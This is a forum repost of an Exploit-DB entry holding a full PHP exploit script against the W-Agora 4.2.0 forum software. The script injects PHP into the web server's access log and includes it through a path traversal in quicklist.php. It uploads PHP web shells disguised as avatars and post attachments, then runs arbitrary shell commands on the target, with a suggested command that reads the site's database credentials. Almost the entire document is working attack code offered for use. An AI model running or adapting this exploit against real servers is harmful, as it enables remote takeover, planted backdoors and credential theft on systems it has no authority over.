Exploit w-Agora 4.2.0 - 'quicklist.php' Remote Code Execution

Exploiter

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
1250
Проверка EDB
  1. Пройдено
Автор
RGOD
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
null
Дата публикации
2005-10-14
PHP: 
<?php
#   --- wagora_420_xpl.php                            13.33 14/10/2005         #
#                                                                              #
#   W-Agora 4.2.0 (possibly prior versions) Remote commands execution          #
#   through quicklist.php and/or upload features                               # 
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   upload a shell right now!                                                  #
#                                                                              #
#   Sun-Tzu: "So in war, the way is to avoid what is strong and to strike at   #
#   what is weak."                                                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>W-Agora 4.2.0 remote commands execution    </title><meta
http-equiv="Content-Type"   content="text/html;  charset=iso-8859-1">     <style
type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:   #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #1CBr81; } a:hover{text-decoration: underline;
color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
W-Agora 4.2.0 remote commands execution </p><p><class="Stile6"> a  script     by
rgod  at <a href="http://rgod.altervista.org"                   target="_blank">
http://rgod.altervista.org</a></p> <table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=value&
port=value&command=value&proxy=value&maxretries=value"><p><input type="text"
name="host"><span class="Stile5"> hostname (ex: www.sitename.com)</span></p><p>
<input type="text" name="path"><span class="Stile5"> path (ex: /cyphor/ or
/forum/ or just /)</span></p><p><input type="text" name="port"><span
class="Stile5"> specify a port other than 80 (default value)</span></p><p><input
type="text" name="command"><span class="Stile5">a shell command, cat ./../../../
../conf/site_agora.php to see database username/password</span></p> <p>   <input
type="text" name="maxretries"><span class="Stile5">max retries when you make the
GET the shell (uploaded files are ordered by number...default=100)</span></p><p>
<input type="text" name="proxy"><span class="Stile5">send exploit through an
HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit" value="go!"
></p></form></td></tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

function valid_ipv4($ip_addr)
{
        $num="([0-9]|1?\d\d|2[0-4]\d|25[0-5])";
        $range="([1-9]|1\d|2\d|3[0-2])";

        if(preg_match("/^$num\.$num\.$num\.$num(\/$range)?$/",$ip_addr))
        {
                return 1;
        }

        return 0;
}


function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);
            if (!$ock) { echo 'No response from '.htmlentities($host).'...';
			die;
		       }}

             else
           {
	   $proxy=trim($proxy);
 	   $parts=explode(':',$proxy);
	   if (!valid_ipv4($parts[0])) {echo htmlentities($proxy).' -> not a valid proxy...'; die;}
	   if (intval($parts[1])<=0) {echo htmlentities($proxy).' -> not a valid proxy...'; die;}
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($command<>''))
{

$port=intval($port);
if (($port=='') or ($port<=0)) {$port=80;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$maxretries=intval($maxretries);
if (($maxretries=='') or ($maxretries<=0)) {$maxretries=100;}
echo 'Initiating exploit against '.htmlentities($host).':'.htmlentities($port);
echo ' with '.htmlentities($maxretries).' as maximum of retries<br>';
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}


#STEP 0 -> we will try to include a log file...
$up="/../../";
for ($i=0; $i<=strlen($path)-1; $i++)
{if ($path[$i]=='/') {$up.="../";}}
$packet="GET ".$p."extras/quicklist.php?fake=".urlencode("<?echo'HiMaster';system(\$_GET[suntzu]);?>");
$packet.="&suntzu=".urlencode($command)."&site=".$up."apache/logs/access.log%00 HTTP/1.1\r\n"; //change the path but keep null char
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Amiga-AWeb/3.4.167SE\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
if (eregi("HiMaster",$html)) {echo '<br>Exploit succeded...'; die;}



#STEP 1 -> we will upload a special avatar...
$data='-----------------------------7d5d24110dfe
Content-Disposition: form-data; name="site"

agora
-----------------------------7d5d24110dfe
Content-Disposition: form-data; name="submitted"

true
-----------------------------7d5d24110dfe
Content-Disposition: form-data; name="perpage"

20
-----------------------------7d5d24110dfe
Content-Disposition: form-data; name="first"

0
-----------------------------7d5d24110dfe
Content-Disposition: form-data; name="avatar"; filename="C:\suntzu.php"
Content-Type: application/octet-stream

<?php
echo "Hi,Master...<br>";
echo nl2br(htmlentities(`$_GET[suntzu]`));
?>
-----------------------------7d5d24110dfe
Content-Disposition: form-data; name="submit"

Copy file
-----------------------------7d5d24110dfe--';


$packet="POST ".$p."browse_avatar.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$p."browse_avatar.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d5d24110dfe\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: BigBrother/1.6e\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);

#STEP 2 -> Try to launch commands
$packet="GET ".$p."images/avatars/suntzu.php?suntzu=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: bluefish 0.6 HTML editor\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
if (eregi("Hi,Master...",$html)) {echo '<br>Exploit succeded...'; die;}

#STEP 2b -> Try to include shell through quicklist.php
$packet="GET ".$p."extras/quicklist.php?suntzu=".urlencode($command)."&site=/../../../images/avatars/suntzu HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: curl/7.7.x (i386--freebsd4.3) libcurl 7.7.x (SSL 0.9.6) (ipv6 enabled)\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
if (eregi("Hi,Master...",$html)) {echo '<br>Exploit succeded...'; die;}

#STEP 3 -> retrieve site name string & main page url
$packet="GET ".$p." HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Internet Ninja x.0\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
$html2=explode('<html',$html);
$temp=explode('index.php?site=',$html2[1]);
for ($i=1; $i<=count($temp)-1; $i++){
$temp2=explode("'",$temp[$i]);
$sitename[$i-1]=$temp2[0];
$main[$i-1]="index.php?site=".$sitename[$i-1];
echo 'sitename -> '.htmlentities($sitename[$i-1]).' main -> '.htmlentities($main[$i-1]).'<br>';
}

if (count($sitename)==0) {echo 'Exploit failed for some reason...check the response...'; die;}


for ($x=0; $x<=count($sitename)-1; $x++) //cycling among forums and directories...
					 //we search a not .htaccess protected one
{
   #STEP 4 -> retrieve a forum name...
   $packet="GET ".$p.$main[$x]." HTTP/1.1\r\n";
   $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
   $packet.="Referer: http://".$host."\r\n";
   $packet.="Accept-Language: it\r\n";
   $packet.="Accept-Encoding: gzip, deflate\r\n";
   $packet.="User-Agent: Nokia-WAPToolkit/1.2 googlebot(at)googlebot.com\r\n";
   $packet.="Host: ".$host.":".$port."\r\n";
   $packet.="Connection: Close\r\n\r\n";

   show($packet);
   sendpacket($packet);
  // if (!eregi($sitename[$x]."_",$html)) {echo 'No forum created there, exploit failed...'; die;}
   $temp=explode($sitename[$x]."_",$html);

   for ($i=1; $i<=count($temp)-1; $i++){
   $temp2=explode('">',$temp[$i]);
   $forumname[$i-1]=$temp2[0];
   echo 'forumname -> '.htmlentities($forumname[$i-1]).'<br>';
   }

   for ($y=0; $y<=count($forumname)-1; $y++){

   


#STEP 5 -> Upload a shell...
$data='-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="site"

'.$sitename[$x].'
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="bn"

'.$sitename[$x].'_'.$forumname[$y].'
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="do_post"

1
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="back_form"

post
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="popup"

1
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="no_thanks_msg"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="lynx"

0
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000000
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="filename"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="actiontype"

upload
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="server_file"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="username"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="useraddress"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="password"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="subject"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="icon"

icon1.gif
-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="body"


-----------------------------7d531f1c20007a
Content-Disposition: form-data; name="pcfile"; filename="C:\suntzu.php"
Content-Type: application/octet-stream

<?php
error_reporting(0);
echo "Hi, Sun-Tzu...my master<br>";
echo `$_GET[suntzu]`;
?>
-----------------------------7d531f1c20007a--';

//used backticks in shell, they are not quotes, but execution operators...

   $packet="POST ".$p."insert.php HTTP/1.1\r\n";
   $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
   $packet.="Referer: http://".$host.":".$p."post.php?bn=".$sitename[$x]."_".$forumname[$y]."\r\n";
   $packet.="Accept-Language: it\r\n";
   $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d531f1c20007a\r\n";
   $packet.="Accept-Encoding: gzip, deflate\r\n";
   $packet.="User-Agent: Netprospector JavaCrawler\r\n";
   $packet.="Host: ".$host.":".$port."\r\n";
   $packet.="Content-Length: ".strlen($data)."\r\n";
   $packer.="Connection: Close\r\n";
   $packet.="Cache-Control: no-cache\r\n\r\n";

   $packet.=$data;
   show($packet);
   sendpacket($packet);

   #STEP 6 -> Launch commands... including the uploaded file through quicklist.php script
   $i=1;
   while (!eregi("Hi, Sun-Tzu...",$html))
   {
   $packet="GET ".$p."extras/quicklist.php?suntzu=".urlencode($command)."&site=/../../forums/".$sitename[$x];
   $packet.="/".$forumname[$y]."/notes/".$i.".suntzu HTTP/1.1\r\n";
   $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
   $packet.="Referer: http://".$host."\r\n";
   $packet.="Accept-Language: it\r\n";
   $packet.="Accept-Encoding: gzip, deflate\r\n";
   $packet.="User-Agent: online link validator (http://www.dead-links.com/)\r\n";
   $packet.="Host: ".$host.":".$port."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   show($packet);
   sendpacket($packet);
   $i=$i+1;
   if ($i==$maxretries+1) {break;}
   }
   if (eregi("Hi, Sun-Tzu...",$html)) {echo '<br>Exploit succeded...'; die;}

   #STEP 7 -> Check if you have access to notes directory...
   $packet="GET ".$p."forums/".$sitename[$x]."/".$forumname[$y]."/notes/ HTTP/1.1\r\n";
   $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
   $packet.="Referer: http://".$host."\r\n";
   $packet.="Accept-Language: it\r\n";
   $packet.="Accept-Encoding: gzip, deflate\r\n";
   $packet.="User-Agent: Gamespy_Arcade, GameSpyHTTP\r\n";
   $packet.="Host: ".$host.":".$port."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   show($packet);
   sendpacket($packet);


   if (eregi('200 OK',$html))
   {

   $i=1;
   while (!eregi("Hi, Sun-Tzu...",$html))
   {
   $packet="GET ".$p."forums/".$sitename[$x]."/".$forumname[$y]."/notes/".$i.".suntzu.php?suntzu=".urlencode($command)." HTTP/1.1\r\n";
   $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
   $packet.="Referer: http://".$host."\r\n";
   $packet.="Accept-Language: it\r\n";
   $packet.="Accept-Encoding: gzip, deflate\r\n";
   $packet.="User-Agent: online link validator (http://www.dead-links.com/)\r\n";
   $packet.="Host: ".$host.":".$port."\r\n";
   $packet.="Connection: Close\r\n\r\n";
   show($packet);
   sendpacket($packet);
   $i=$i+1;
   if ($i==$maxretries+1) {break;}
   }
   if (eregi("Hi, Sun-Tzu...",$html)) {echo 'Exploit succeded...'; die;}
   }

else
   {echo 'notes directory is .htaccess protected...searching another<br>';}

}
}
}
else
{echo 'Fill requested fields, optionally specify a proxy...';}
?>

# milw0rm.com [2005-10-14]
 
Источник
www.exploit-db.com
Войдите или зарегистрируйтесь для ответа.

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